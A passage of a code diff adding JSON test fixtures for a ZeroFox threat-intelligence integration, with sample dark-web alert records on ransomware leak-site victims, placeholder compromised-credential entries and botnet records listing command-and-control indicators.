"subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35832", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T12:24:03+00:00", + "id": 224870860, + "severity": 4, + "perpetrator": { + "name": "RansomHouse: Mission Community Hospital", + "display_name": "RansomHouse: Mission Community Hospital", + "id": 424205188, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35832", + "content": "On June 1, 2023, ZeroFox observed an update on the RansomHouse leak site targeting Mission Community Hospital, a U.S.-based healthcare provider. ZeroFox has detected over 1900 victims of ransomware and digital extortion in the last year, more than 45 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T12:24:03+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T13:27:19+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T13:27:19Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390852477, + "timestamp": "2023-06-01T13:27:19+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35810", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T12:07:00+00:00", + "id": 224870861, + "severity": 4, + "perpetrator": { + "name": "8Base Ransomware: Groupe Michel Nutrition Animale", + "display_name": "8Base Ransomware: Groupe Michel Nutrition Animale", + "id": 424205198, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35810", + "content": "On June 01, 2023, ZeroFox observed an update on the 8Base ransomware leak site targeting Groupe Michel Nutrition Animale, a France-based farming and livestock group. The leak site noted the post date as February 23, 2023. The data download link provided in the leak site for this victim is not live at the time of reporting this leak. ZeroFox has detected nearly 80 victims of ransomware and digital extortion in the food and agriculture sector in the past year, more than 20 percent of which are in the Europe-Russia region.", + "type": "page", + "timestamp": "2023-06-01T12:07:00+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T13:27:19+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T13:27:19Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records_and_more.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records_and_more.json new file mode 100644 index 000000000000..da4efd7c5f4b --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records_and_more.json @@ -0,0 +1,759 @@ +{ + "count": 1308, + "next": "https://api.zerofox.com/1.0/alerts/?limit=10&offset=20&sort_direction=asc", + "previous": null, + "page_size": 10, + "num_pages": 131, + "alerts": [ + { + "alert_type": "search query", + "logs": [ + { + "id": 390795944, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:55:20+00:00", + "id": 224850127, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "display_name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "id": 424158735, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting Lewis Young Robertson & Burningham, a U.S.-based firm that provide financial advice and consultant to local governments. ZeroFox has detected close to 100 victims of ransomware and digital extortion in the financial services sector in the past year, more than 40 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:55:20+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390795945, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:54:10+00:00", + "id": 224850128, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: National Association of Home Builders", + "display_name": "Akira Ransomware: National Association of Home Builders", + "id": 424158736, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting National Association of Home Builders, a U.S.-based construction group. ZeroFox has detected more than 150 victims of ransomware and digital extortion in the construction sector in the past year, nearly 55 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:54:10+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390795946, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:53:04+00:00", + "id": 224850129, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: SK Life Science", + "display_name": "Akira Ransomware: SK Life Science", + "id": 424158738, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting SK Life Science, a U.S.-based pharmaceutical manufacturing company. ZeroFox has detected more than 140 victims of ransomware and digital extortion in the healthcare sector in the past year, nearly 75 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:53:04+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390795949, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:50:15+00:00", + "id": 224850131, + "severity": 4, + "perpetrator": { + "name": "ALPHV Ransomware: Casepoint", + "display_name": "ALPHV Ransomware: Casepoint", + "id": 424158739, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "content": "On June 01, 2023, ZeroFox observed an update on the ALPHV Ransomware leak site targeting the organization Casepoint, an U.S.-based software development company. ZeroFox has detected close to 300 victims of this ransomware in the past year, of which more than 50 percent are based in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:50:15+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:59Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800117, + "timestamp": "2023-06-01T07:51:43+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:55:20+00:00", + "id": 224851768, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "display_name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "id": 424158735, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting Lewis Young Robertson & Burningham, a U.S.-based firm that provide financial advice and consultant to local governments. ZeroFox has detected close to 100 victims of ransomware and digital extortion in the financial services sector in the past year, more than 40 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:55:20+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:43+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800118, + "timestamp": "2023-06-01T07:51:44+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:54:10+00:00", + "id": 224851769, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: National Association of Home Builders", + "display_name": "Akira Ransomware: National Association of Home Builders", + "id": 424158736, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting National Association of Home Builders, a U.S.-based construction group. ZeroFox has detected more than 150 victims of ransomware and digital extortion in the construction sector in the past year, nearly 55 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:54:10+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:44+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800119, + "timestamp": "2023-06-01T07:51:44+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:53:04+00:00", + "id": 224851770, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: SK Life Science", + "display_name": "Akira Ransomware: SK Life Science", + "id": 424158738, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting SK Life Science, a U.S.-based pharmaceutical manufacturing company. ZeroFox has detected more than 140 victims of ransomware and digital extortion in the healthcare sector in the past year, nearly 75 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:53:04+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:44+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800120, + "timestamp": "2023-06-01T07:51:44+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:50:15+00:00", + "id": 224851772, + "severity": 4, + "perpetrator": { + "name": "ALPHV Ransomware: Casepoint", + "display_name": "ALPHV Ransomware: Casepoint", + "id": 424158739, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "content": "On June 01, 2023, ZeroFox observed an update on the ALPHV Ransomware leak site targeting the organization Casepoint, an U.S.-based software development company. ZeroFox has detected close to 300 victims of this ransomware in the past year, of which more than 50 percent are based in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:50:15+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:44+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390852476, + "timestamp": "2023-06-01T13:27:19+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35832", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T12:24:03+00:00", + "id": 224870860, + "severity": 4, + "perpetrator": { + "name": "RansomHouse: Mission Community Hospital", + "display_name": "RansomHouse: Mission Community Hospital", + "id": 424205188, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35832", + "content": "On June 1, 2023, ZeroFox observed an update on the RansomHouse leak site targeting Mission Community Hospital, a U.S.-based healthcare provider. ZeroFox has detected over 1900 victims of ransomware and digital extortion in the last year, more than 45 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T12:24:03+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T13:27:19+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T13:27:19Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390852477, + "timestamp": "2023-06-01T13:27:19+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35810", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T12:07:00+00:00", + "id": 224870861, + "severity": 4, + "perpetrator": { + "name": "8Base Ransomware: Groupe Michel Nutrition Animale", + "display_name": "8Base Ransomware: Groupe Michel Nutrition Animale", + "id": 424205198, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35810", + "content": "On June 01, 2023, ZeroFox observed an update on the 8Base ransomware leak site targeting Groupe Michel Nutrition Animale, a France-based farming and livestock group. The leak site noted the post date as February 23, 2023. The data download link provided in the leak site for this victim is not live at the time of reporting this leak. ZeroFox has detected nearly 80 victims of ransomware and digital extortion in the food and agriculture sector in the past year, more than 20 percent of which are in the Europe-Russia region.", + "type": "page", + "timestamp": "2023-06-01T12:07:00+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T13:27:19+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T13:27:19Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_no_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_no_records.json new file mode 100644 index 000000000000..459ab03645b6 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_no_records.json @@ -0,0 +1,8 @@ +{ + "count": 0, + "next": null, + "previous": null, + "page_size": 100, + "num_pages": 0, + "alerts": [] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/opened_alert.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/opened_alert.json new file mode 100644 index 000000000000..eda52710f86a --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/opened_alert.json @@ -0,0 +1,83 @@ +{ + "alert": { + "alert_type": "search query", + "logs": [ + { + "id": 390795944, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:55:20+00:00", + "id": 224850127, + "protected_account": null, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "display_name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "id": 424158735, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting Lewis Young Robertson & Burningham, a U.S.-based firm that provide financial advice and consultant to local governments. ZeroFox has detected close to 100 victims of ransomware and digital extortion in the financial services sector in the past year, more than 40 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:55:20+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "content_actions": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + } +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/submit_threat.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/submit_threat.json new file mode 100644 index 000000000000..3b2885649911 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/submit_threat.json @@ -0,0 +1,3 @@ +{ + "alert_id": 123 +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet-compromised-credentials.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet-compromised-credentials.json new file mode 100644 index 000000000000..0a4ae132fc2c --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet-compromised-credentials.json @@ -0,0 +1,15 @@ +{ + "next": null, + "results": [ + { + "domain": "stark.com", + "email": "email-address", + "username": "natasha", + "password": "dummy_password", + "breach_name": "Raid Forums/XSS/Exploit: Stark Data Breach (7,409,054 Records)", + "breach_id": "123", + "impacted_domain": "stark-breach", + "created_at": "2021-06-26T04:44:37.603656Z" + } + ] +} \ No newline at end of file diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet.json new file mode 100644 index 000000000000..be922d154363 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet.json @@ -0,0 +1,109 @@ +{ + "next": null, + "results": [ + { + "ip_address": "ip_address", + "listed_at": "2023-02-09T23:44:09Z", + "bot_name": "andromeda", + "c2_ip_address": "184.105.192.2", + "c2_domain": "differentia.ru", + "is_common_domain": true, + "file_location": null, + "operating_system": null, + "anti_viruses": null, + "country_code": "US", + "zip_code": null, + "location": null, + "current_language": null, + "available_keyboards": null, + "uac": null, + "process_elevation": null, + "acquired_at": null, + "logged_at": null, + "estimated_infected_at": null, + "breached_at": null, + "tags": [ + "c2_domain_top_1m", + "c2_root_domain_top_1m" + ] + }, + { + "ip_address": "ip_address", + "listed_at": "2023-02-09T23:44:09Z", + "bot_name": "andromeda", + "c2_ip_address": "184.105.192.2", + "c2_domain": "differentia.ru", + "is_common_domain": true, + "file_location": null, + "operating_system": null, + "anti_viruses": null, + "country_code": "US", + "zip_code": null, + "location": null, + "current_language": null, + "available_keyboards": null, + "uac": null, + "process_elevation": null, + "acquired_at": null, + "logged_at": null, + "estimated_infected_at": null, + "breached_at": null, + "tags": [ + "c2_domain_top_1m", + "c2_root_domain_top_1m" + ] + }, + { + "ip_address": "ip_address", + "listed_at": "2023-02-09T23:44:09Z", + "bot_name": "andromeda", + "c2_ip_address": "184.105.192.2", + "c2_domain": "disorderstatus.ru", + "is_common_domain": true, + "file_location": null, + "operating_system": null, + "anti_viruses": null, + "country_code": "US", + "zip_code": null, + "location": null, + "current_language": null, + "available_keyboards": null, + "uac": null, + "process_elevation": null, + "acquired_at": null, + "logged_at": null, + "estimated_infected_at": null, + "breached_at": null, + "tags": [ + "c2_domain_top_1m", + "c2_root_domain_top_1m" + ] + }, + { + "ip_address": "ip_address", + "listed_at": "2023-02-27T11:12:35.375167Z", + "bot_name": "andromeda", 